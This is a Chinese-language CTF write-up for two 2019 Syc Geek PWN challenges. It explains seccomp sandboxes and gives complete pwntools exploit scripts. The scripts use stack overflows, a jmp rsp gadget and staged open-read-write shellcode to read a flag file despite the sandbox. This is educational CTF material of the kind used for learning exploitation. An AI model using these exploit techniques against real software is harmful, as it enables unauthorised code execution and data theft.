写在前面

以2019-Syc-Geek-10th-PWN-Baby-Shellcode和2019-Syc-Geek-10th-PWN-Not-bad为例

2019-Syc-Geek-10th-PWN-Baby-Shellcode

程序分析

Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

可以发现主程序肥肠简单~

SandBox-Ret2ShellCode利用 - 图1

程序提供了一个Chunk和一个栈区的读入点,比较令人在意的就是开启了沙箱防护,我们跟进Sand_box函数。

SandBox-Ret2ShellCode利用 - 图2

这里发现程序启用了seccomp_rule_add函数

关于seccomp_rule_add函数

函数原型

  1. #include <seccomp.h>
  2. typedef void * scmp_filter_ctx;
  3. int SCMP_SYS(syscall_name);
  4. struct scmp_arg_cmp SCMP_CMP(unsigned int arg,
  5. enum scmp_compare op, ...);
  6. struct scmp_arg_cmp SCMP_A0(enum scmp_compare op, ...);
  7. struct scmp_arg_cmp SCMP_A1(enum scmp_compare op, ...);
  8. struct scmp_arg_cmp SCMP_A2(enum scmp_compare op, ...);
  9. struct scmp_arg_cmp SCMP_A3(enum scmp_compare op, ...);
  10. struct scmp_arg_cmp SCMP_A4(enum scmp_compare op, ...);
  11. struct scmp_arg_cmp SCMP_A5(enum scmp_compare op, ...);
  12. struct scmp_arg_cmp SCMP_CMP64(unsigned int arg,
  13. enum scmp_compare op, ...);
  14. struct scmp_arg_cmp SCMP_A0_64(enum scmp_compare op, ...);
  15. struct scmp_arg_cmp SCMP_A1_64(enum scmp_compare op, ...);
  16. struct scmp_arg_cmp SCMP_A2_64(enum scmp_compare op, ...);
  17. struct scmp_arg_cmp SCMP_A3_64(enum scmp_compare op, ...);
  18. struct scmp_arg_cmp SCMP_A4_64(enum scmp_compare op, ...);
  19. struct scmp_arg_cmp SCMP_A5_64(enum scmp_compare op, ...);
  20. struct scmp_arg_cmp SCMP_CMP32(unsigned int arg,
  21. enum scmp_compare op, ...);
  22. struct scmp_arg_cmp SCMP_A0_32(enum scmp_compare op, ...);
  23. struct scmp_arg_cmp SCMP_A1_32(enum scmp_compare op, ...);
  24. struct scmp_arg_cmp SCMP_A2_32(enum scmp_compare op, ...);
  25. struct scmp_arg_cmp SCMP_A3_32(enum scmp_compare op, ...);
  26. struct scmp_arg_cmp SCMP_A4_32(enum scmp_compare op, ...);
  27. struct scmp_arg_cmp SCMP_A5_32(enum scmp_compare op, ...);
  28. int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action,
  29. int syscall,unsigned int arg_cnt, ...);
  30. int seccomp_rule_add_exact(scmp_filter_ctx ctx, uint32_t action,
  31. int syscall, unsigned int arg_cnt, ...);
  32. int seccomp_rule_add_array(scmp_filter_ctx ctx,uint32_t action,
  33. int syscall,unsigned int arg_cnt,
  34. const struct scmp_arg_cmp *arg_array);
  35. int seccomp_rule_add_exact_array(scmp_filter_ctx ctx,uint32_t action,
  36. int syscall,unsigned int arg_cnt,
  37. const struct scmp_arg_cmp *arg_array);
  38. Link with -lseccomp.

函数描述

英文原文 seccomp (secure computing mode) 是Linux内核中的计算机安全工具。seccomp允许进程单向转换到“安全”状态,在该状态下,进程无法对已打开的文件描述符进行exit(),sigreturn(),read()和write()以外的任何系统调用。如果尝试任何其他系统调用,内核将使用SIGKILL或SIGSYS终止该进程。从这个意义上讲,它不会虚拟化系统资源,而是将进程与它们完全隔离。

英文原文

seccomp_rule_add(),seccomp_rule_add_array(),seccomp_rule_add_exact()和seccomp_rule_add_exact_array()都向当前的seccomp过滤器添加新的过滤器规则,其中,seccomp_rule_add()seccomp_rule_add_array()将尽最大努力添加指定的规则,但可能会因系统架构的具体情况而略微更改规则(例如,内部重写多路系统调用和x86上的套接字及ipc函数)。seccomp_rule_add_exact()seccomp_rule_add_exact_array()函数将尝试完全按照指定的规则添加规则,因此在不同系统架构上的行为可能有所不同。 尽管它不能保证确切的过滤器规则集,但是seccomp_rule_add()seccomp_rule_add_array()确实可以保证相同的行为,而不管其体系结构如何。

分析本程序中的seccomp过滤器

首先我们使用david942j大佬开发的工具seccomp-tools来检测沙箱内允许的函数。

SandBox-Ret2ShellCode利用 - 图3

本程序仅限运行在X64下,且仅允许write,read,open,exit。

那么本题的利用思路就是直接读取本地的flag文件

构建ShellCode

shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()

最终EXP

from pwn import *
import sys
# context.log_level='debug'
context.arch='amd64'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./RushB")

buf_addr=0x123000
shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()
sh.recvuntil("A simple shellcode for U, have fun!")
sh.sendline(asm(shellcode))
sh.recvuntil("Why not play CSGO?")
sh.sendline('A'*0x38+p64(buf_addr))
print(sh.recv())
print(sh.recv())

2019-Syc-Geek-10th-PWN-Not-bad

程序分析

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments

主逻辑同样很简单

SandBox-Ret2ShellCode利用 - 图4

发现开启了沙盒,使用seccomp-tools探测

SandBox-Ret2ShellCode利用 - 图5

发现和上一题的情况十分类似。

但是进一步分析发现程序限制了Shellcode的长度

SandBox-Ret2ShellCode利用 - 图6

构造我们需要第一次发送的payload,我们的核心目标是向栈中输入完整的Shellcode。

构造以下汇编码。

mov rax,rsp
add rax,0x18
SYSCALL read(0,rax,0x60)

这里注意,第一次jmp rsp时,栈空间已被释放,因此需要手动sub rsp,0x30以重新生成栈空间

写为Payload形式即为

payload  = ""
payload += asm("mov rax,rsp;add rax,0x18",arch="amd64",os="linux")
payload += asm(shellcraft.amd64.linux.syscall('SYS_read',0,"rax",0x60).rstrip())
payload  = payload.ljust(0x20,'\x90') # padding
payload += p64(0xdeadbeef) # fake_ebp
payload += p64(jmp_rsp)
payload += asm("sub rsp,0x30;jmp rsp",arch="amd64",os="linux").ljust(8,'\x90')

最终EXP

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./bad")

shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()
shellcode  = asm(shellcode)

jmp_rsp = 0x0000000000400a01

payload  = ""
payload += asm("mov rax,rsp;add rax,0x18",arch="amd64",os="linux")
payload += asm(shellcraft.amd64.linux.syscall('SYS_read',0,"rax",0x60).rstrip())
payload  = payload.ljust(0x20,'\x90') # padding
payload += p64(0xdeadbeef) # fake_ebp
payload += p64(jmp_rsp)
payload += asm("sub rsp,0x30;jmp rsp",arch="amd64",os="linux").ljust(8,'\x90')

sh.recvuntil("Easy shellcode, have fun!")
sh.send(payload)
sh.send(shellcode)
print(sh.recv())
print(sh.recv())
print(sh.recv())